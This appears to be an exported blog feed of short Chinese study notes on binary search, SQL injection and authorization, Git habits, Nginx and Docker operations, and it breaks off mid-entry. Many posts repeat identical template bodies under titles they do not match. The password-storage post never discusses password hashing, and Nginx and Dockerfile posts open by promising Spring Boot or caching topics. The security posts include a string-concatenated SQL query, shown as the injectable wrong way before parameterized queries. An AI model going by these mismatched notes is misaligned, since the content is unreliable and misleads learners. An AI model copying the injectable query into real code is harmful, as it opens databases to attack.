      <link href="//er-fen-cha-zhao-wei-shi-me-rong-yi-xie-cuo/"/>
      <url>//er-fen-cha-zhao-wei-shi-me-rong-yi-xie-cuo/</url>
      
        <content type="html"><![CDATA[<h1 id="二分查找为什么容易写错"><a href="#二分查找为什么容易写错" class="headerlink" title="二分查找为什么容易写错"></a>二分查找为什么容易写错</h1><p>二分查找看似简单，实际写起来却很容易出错。本文讲它的常见变体和注意事项。</p><h2 id="先写清楚输入和输出"><a href="#先写清楚输入和输出" class="headerlink" title="先写清楚输入和输出"></a>先写清楚输入和输出</h2><p>算法题最怕脑子里觉得懂，代码一写就错。先把输入、输出、边界条件列出来。</p><p>以二分查找为例：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">binarySearch</span><span class="params">(<span class="type">int</span>[] nums, <span class="type">int</span> target)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">left</span> <span class="operator">=</span> <span class="number">0</span>, right = nums.length - <span class="number">1</span>;</span><br><span class="line">    <span class="keyword">while</span> (left &lt;= right) &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">mid</span> <span class="operator">=</span> left + (right - left) / <span class="number">2</span>;</span><br><span class="line">        <span class="keyword">if</span> (nums[mid] == target) <span class="keyword">return</span> mid;</span><br><span class="line">        <span class="keyword">if</span> (nums[mid] &lt; target) left = mid + <span class="number">1</span>;</span><br><span class="line">        <span class="keyword">else</span> right = mid - <span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> -<span class="number">1</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="验证边界"><a href="#验证边界" class="headerlink" title="验证边界"></a>验证边界</h2><p>至少测试：空数组、只有一个元素、目标在开头、目标在结尾、目标不存在。</p>]]></content>
      
      
      <categories>
          
          <category> 算法 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 算法 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>密码存储为什么不能明文</title>
      <link href="//mi-ma-cun-chu-wei-shi-me-bu-neng-ming-wen/"/>
      <url>//mi-ma-cun-chu-wei-shi-me-bu-neng-ming-wen/</url>
      
        <content type="html"><![CDATA[<h1 id="密码存储为什么不能明文"><a href="#密码存储为什么不能明文" class="headerlink" title="密码存储为什么不能明文"></a>密码存储为什么不能明文</h1><p>密码为什么不能明文存储，这是一个基础但容易被忽视的问题。本文讲正确的做法。</p><h2 id="安全问题要默认不信任输入"><a href="#安全问题要默认不信任输入" class="headerlink" title="安全问题要默认不信任输入"></a>安全问题要默认不信任输入</h2><p>无论是表单、URL 参数、Header，还是内部系统传来的字段，都不能天然相信。后端必须做校验、鉴权和日志审计。</p><h2 id="SQL-注入的例子"><a href="#SQL-注入的例子" class="headerlink" title="SQL 注入的例子"></a>SQL 注入的例子</h2><p>危险写法：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">sql</span> <span class="operator">=</span> <span class="string">&quot;select * from user where name = &#x27;&quot;</span> + name + <span class="string">&quot;&#x27;&quot;</span>;</span><br></pre></td></tr></table></figure><p>推荐使用预编译参数：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> name <span class="operator">=</span> ?;</span><br></pre></td></tr></table></figure><p>在 MyBatis 中优先使用 <code>#{name}</code>，不要用 <code>${name}</code> 拼接用户输入。</p><h2 id="权限校验"><a href="#权限校验" class="headerlink" title="权限校验"></a>权限校验</h2><p>登录只说明“你是谁”，权限校验才说明“你能做什么”。敏感操作必须在服务端校验资源归属。</p>]]></content>
      
      
      <categories>
          
          <category> 安全 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 安全 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>接口鉴权和权限校验的区别</title>
      <link href="//jie-kou-jian-quan-he-quan-xian-xiao-yan-de-qu-bie/"/>
      <url>//jie-kou-jian-quan-he-quan-xian-xiao-yan-de-qu-bie/</url>
      
        <content type="html"><![CDATA[<h1 id="接口鉴权和权限校验的区别"><a href="#接口鉴权和权限校验的区别" class="headerlink" title="接口鉴权和权限校验的区别"></a>接口鉴权和权限校验的区别</h1><p>接口鉴权和权限校验是两个不同层次的概念。本文讲它们的区别和实现方式。</p><h2 id="安全问题要默认不信任输入"><a href="#安全问题要默认不信任输入" class="headerlink" title="安全问题要默认不信任输入"></a>安全问题要默认不信任输入</h2><p>无论是表单、URL 参数、Header，还是内部系统传来的字段，都不能天然相信。后端必须做校验、鉴权和日志审计。</p><h2 id="SQL-注入的例子"><a href="#SQL-注入的例子" class="headerlink" title="SQL 注入的例子"></a>SQL 注入的例子</h2><p>危险写法：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">sql</span> <span class="operator">=</span> <span class="string">&quot;select * from user where name = &#x27;&quot;</span> + name + <span class="string">&quot;&#x27;&quot;</span>;</span><br></pre></td></tr></table></figure><p>推荐使用预编译参数：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> name <span class="operator">=</span> ?;</span><br></pre></td></tr></table></figure><p>在 MyBatis 中优先使用 <code>#{name}</code>，不要用 <code>${name}</code> 拼接用户输入。</p><h2 id="权限校验"><a href="#权限校验" class="headerlink" title="权限校验"></a>权限校验</h2><p>登录只说明“你是谁”，权限校验才说明“你能做什么”。敏感操作必须在服务端校验资源归属。</p>]]></content>
      
      
      <categories>
          
          <category> 安全 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 安全 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>SQL 注入原理和防护方法</title>
      <link href="//sql-zhu-ru-yuan-li-he-fang-hu-fang-fa/"/>
      <url>//sql-zhu-ru-yuan-li-he-fang-hu-fang-fa/</url>
      
        <content type="html"><![CDATA[<h1 id="SQL-注入原理和防护方法"><a href="#SQL-注入原理和防护方法" class="headerlink" title="SQL 注入原理和防护方法"></a>SQL 注入原理和防护方法</h1><p>SQL 注入原理和防护方法是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。</p><h2 id="安全问题要默认不信任输入"><a href="#安全问题要默认不信任输入" class="headerlink" title="安全问题要默认不信任输入"></a>安全问题要默认不信任输入</h2><p>无论是表单、URL 参数、Header，还是内部系统传来的字段，都不能天然相信。后端必须做校验、鉴权和日志审计。</p><h2 id="SQL-注入的例子"><a href="#SQL-注入的例子" class="headerlink" title="SQL 注入的例子"></a>SQL 注入的例子</h2><p>危险写法：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">sql</span> <span class="operator">=</span> <span class="string">&quot;select * from user where name = &#x27;&quot;</span> + name + <span class="string">&quot;&#x27;&quot;</span>;</span><br></pre></td></tr></table></figure><p>推荐使用预编译参数：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> name <span class="operator">=</span> ?;</span><br></pre></td></tr></table></figure><p>在 MyBatis 中优先使用 <code>#{name}</code>，不要用 <code>${name}</code> 拼接用户输入。</p><h2 id="权限校验"><a href="#权限校验" class="headerlink" title="权限校验"></a>权限校验</h2><p>登录只说明“你是谁”，权限校验才说明“你能做什么”。敏感操作必须在服务端校验资源归属。</p>]]></content>
      
      
      <categories>
          
          <category> 安全 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 安全 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Git 冲突解决的正确顺序</title>
      <link href="//git-chong-tu-jie-jue-de-zheng-que-shun-xu/"/>
      <url>//git-chong-tu-jie-jue-de-zheng-que-shun-xu/</url>
      
        <content type="html"><![CDATA[<h1 id="Git-冲突解决的正确顺序"><a href="#Git-冲突解决的正确顺序" class="headerlink" title="Git 冲突解决的正确顺序"></a>Git 冲突解决的正确顺序</h1><p>Git rebase 和 merge 是开发中经常讨论的话题。本文讲它们的区别和适用场景。</p><h2 id="提交前先看清楚改动"><a href="#提交前先看清楚改动" class="headerlink" title="提交前先看清楚改动"></a>提交前先看清楚改动</h2><p>Git 最重要的习惯是提交前看 diff：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">git status</span><br><span class="line">git diff</span><br><span class="line">git diff --cached</span><br></pre></td></tr></table></figure><p>确认没有调试代码、临时文件、无关格式化，再提交。</p><h2 id="推荐的小步提交"><a href="#推荐的小步提交" class="headerlink" title="推荐的小步提交"></a>推荐的小步提交</h2><p>一次提交只做一件事，例如：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">git add src/main/java/com/example/UserService.java</span><br><span class="line">git commit -m <span class="string">&quot;fix: handle empty user result&quot;</span></span><br></pre></td></tr></table></figure><p>如果既改了接口又改了样式，最好拆成两个提交。后续回滚和 review 都会更轻松。</p><h2 id="冲突怎么处理"><a href="#冲突怎么处理" class="headerlink" title="冲突怎么处理"></a>冲突怎么处理</h2><p>遇到冲突不要机械选择 ours/theirs。先看双方分别想解决什么问题，再手动合并。合并后至少跑一遍相关测试。</p>]]></content>
      
      
      <categories>
          
          <category> Git </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Git </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Git rebase 和 merge 怎么选</title>
      <link href="//git-rebase-he-merge-zen-me-xuan/"/>
      <url>//git-rebase-he-merge-zen-me-xuan/</url>
      
        <content type="html"><![CDATA[<h1 id="Git-rebase-和-merge-怎么选"><a href="#Git-rebase-和-merge-怎么选" class="headerlink" title="Git rebase 和 merge 怎么选"></a>Git rebase 和 merge 怎么选</h1><p>Git rebase 和 merge 是开发中经常讨论的话题。本文讲它们的区别和适用场景。</p><h2 id="提交前先看清楚改动"><a href="#提交前先看清楚改动" class="headerlink" title="提交前先看清楚改动"></a>提交前先看清楚改动</h2><p>Git 最重要的习惯是提交前看 diff：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">git status</span><br><span class="line">git diff</span><br><span class="line">git diff --cached</span><br></pre></td></tr></table></figure><p>确认没有调试代码、临时文件、无关格式化，再提交。</p><h2 id="推荐的小步提交"><a href="#推荐的小步提交" class="headerlink" title="推荐的小步提交"></a>推荐的小步提交</h2><p>一次提交只做一件事，例如：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">git add src/main/java/com/example/UserService.java</span><br><span class="line">git commit -m <span class="string">&quot;fix: handle empty user result&quot;</span></span><br></pre></td></tr></table></figure><p>如果既改了接口又改了样式，最好拆成两个提交。后续回滚和 review 都会更轻松。</p><h2 id="冲突怎么处理"><a href="#冲突怎么处理" class="headerlink" title="冲突怎么处理"></a>冲突怎么处理</h2><p>遇到冲突不要机械选择 ours/theirs。先看双方分别想解决什么问题，再手动合并。合并后至少跑一遍相关测试。</p>]]></content>
      
      
      <categories>
          
          <category> Git </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Git </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Git 提交前如何检查改动</title>
      <link href="//git-ti-jiao-qian-ru-he-jian-cha-gai-dong/"/>
      <url>//git-ti-jiao-qian-ru-he-jian-cha-gai-dong/</url>
      
        <content type="html"><![CDATA[<h1 id="Git-提交前如何检查改动"><a href="#Git-提交前如何检查改动" class="headerlink" title="Git 提交前如何检查改动"></a>Git 提交前如何检查改动</h1><p>Git rebase 和 merge 是开发中经常讨论的话题。本文讲它们的区别和适用场景。</p><h2 id="提交前先看清楚改动"><a href="#提交前先看清楚改动" class="headerlink" title="提交前先看清楚改动"></a>提交前先看清楚改动</h2><p>Git 最重要的习惯是提交前看 diff：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">git status</span><br><span class="line">git diff</span><br><span class="line">git diff --cached</span><br></pre></td></tr></table></figure><p>确认没有调试代码、临时文件、无关格式化，再提交。</p><h2 id="推荐的小步提交"><a href="#推荐的小步提交" class="headerlink" title="推荐的小步提交"></a>推荐的小步提交</h2><p>一次提交只做一件事，例如：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">git add src/main/java/com/example/UserService.java</span><br><span class="line">git commit -m <span class="string">&quot;fix: handle empty user result&quot;</span></span><br></pre></td></tr></table></figure><p>如果既改了接口又改了样式，最好拆成两个提交。后续回滚和 review 都会更轻松。</p><h2 id="冲突怎么处理"><a href="#冲突怎么处理" class="headerlink" title="冲突怎么处理"></a>冲突怎么处理</h2><p>遇到冲突不要机械选择 ours/theirs。先看双方分别想解决什么问题，再手动合并。合并后至少跑一遍相关测试。</p>]]></content>
      
      
      <categories>
          
          <category> Git </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Git </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Nginx 配置修改后的验证流程</title>
      <link href="//nginx-pei-zhi-xiu-gai-hou-de-yan-zheng-liu-cheng/"/>
      <url>//nginx-pei-zhi-xiu-gai-hou-de-yan-zheng-liu-cheng/</url>
      
        <content type="html"><![CDATA[<h1 id="Nginx-配置修改后的验证流程"><a href="#Nginx-配置修改后的验证流程" class="headerlink" title="Nginx 配置修改后的验证流程"></a>Nginx 配置修改后的验证流程</h1><p>多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Nginx </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 服务器 </tag>
            
            <tag> Nginx </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Nginx 静态资源缓存配置</title>
      <link href="//nginx-jing-tai-zi-yuan-huan-cun-pei-zhi/"/>
      <url>//nginx-jing-tai-zi-yuan-huan-cun-pei-zhi/</url>
      
        <content type="html"><![CDATA[<h1 id="Nginx-静态资源缓存配置"><a href="#Nginx-静态资源缓存配置" class="headerlink" title="Nginx 静态资源缓存配置"></a>Nginx 静态资源缓存配置</h1><p>缓存穿透、击穿、雪崩是三个经典问题。本文从现象到解决方案，把这三个概念讲清楚。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Nginx </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 服务器 </tag>
            
            <tag> Nginx </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Nginx 反向代理配置入门</title>
      <link href="//nginx-fan-xiang-dai-li-pei-zhi-ru-men/"/>
      <url>//nginx-fan-xiang-dai-li-pei-zhi-ru-men/</url>
      
        <content type="html"><![CDATA[<h1 id="Nginx-反向代理配置入门"><a href="#Nginx-反向代理配置入门" class="headerlink" title="Nginx 反向代理配置入门"></a>Nginx 反向代理配置入门</h1><p>多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Nginx </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 服务器 </tag>
            
            <tag> Nginx </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>容器健康检查为什么重要</title>
      <link href="//rong-qi-jian-kang-jian-cha-wei-shi-me-chong-yao/"/>
      <url>//rong-qi-jian-kang-jian-cha-wei-shi-me-chong-yao/</url>
      
        <content type="html"><![CDATA[<h1 id="容器健康检查为什么重要"><a href="#容器健康检查为什么重要" class="headerlink" title="容器健康检查为什么重要"></a>容器健康检查为什么重要</h1><p>容器健康检查是保证服务稳定的重要一环。本文讲为什么重要以及如何做。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Docker </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 服务器 </tag>
            
            <tag> docker </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>docker compose 部署单机服务</title>
      <link href="//docker-compose-bu-shu-dan-ji-fu-wu/"/>
      <url>//docker-compose-bu-shu-dan-ji-fu-wu/</url>
      
        <content type="html"><![CDATA[<h1 id="docker-compose-部署单机服务"><a href="#docker-compose-部署单机服务" class="headerlink" title="docker compose 部署单机服务"></a>docker compose 部署单机服务</h1><p>Dockerfile 的分层缓存和镜像优化是部署时最容易忽略的。本文讲一些实用技巧。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Docker </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 服务器 </tag>
            
            <tag> docker </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Docker 容器日志和数据卷实践</title>
      <link href="//docker-rong-qi-ri-zhi-he-shu-ju-juan-shi-jian/"/>
      <url>//docker-rong-qi-ri-zhi-he-shu-ju-juan-shi-jian/</url>
      
        <content type="html"><![CDATA[<h1 id="Docker-容器日志和数据卷实践"><a href="#Docker-容器日志和数据卷实践" class="headerlink" title="Docker 容器日志和数据卷实践"></a>Docker 容器日志和数据卷实践</h1><p>日志是线上排查的生命线。本文讲 Spring Boot 中日志配置、分级输出和排查技巧。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Docker </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 服务器 </tag>
            
            <tag> docker </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Dockerfile 分层缓存和镜像优化</title>
      <link href="//dockerfile-fen-ceng-huan-cun-he-jing-xiang-you-hua/"/>
      <url>//dockerfile-fen-ceng-huan-cun-he-jing-xiang-you-hua/</url>
      
        <content type="html"><![CDATA[<h1 id="Dockerfile-分层缓存和镜像优化"><a href="#Dockerfile-分层缓存和镜像优化" class="headerlink" title="Dockerfile 分层缓存和镜像优化"></a>Dockerfile 分层缓存和镜像优化</h1><p>缓存穿透、击穿、雪崩是三个经典问题。本文从现象到解决方案，把这三个概念讲清楚。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span 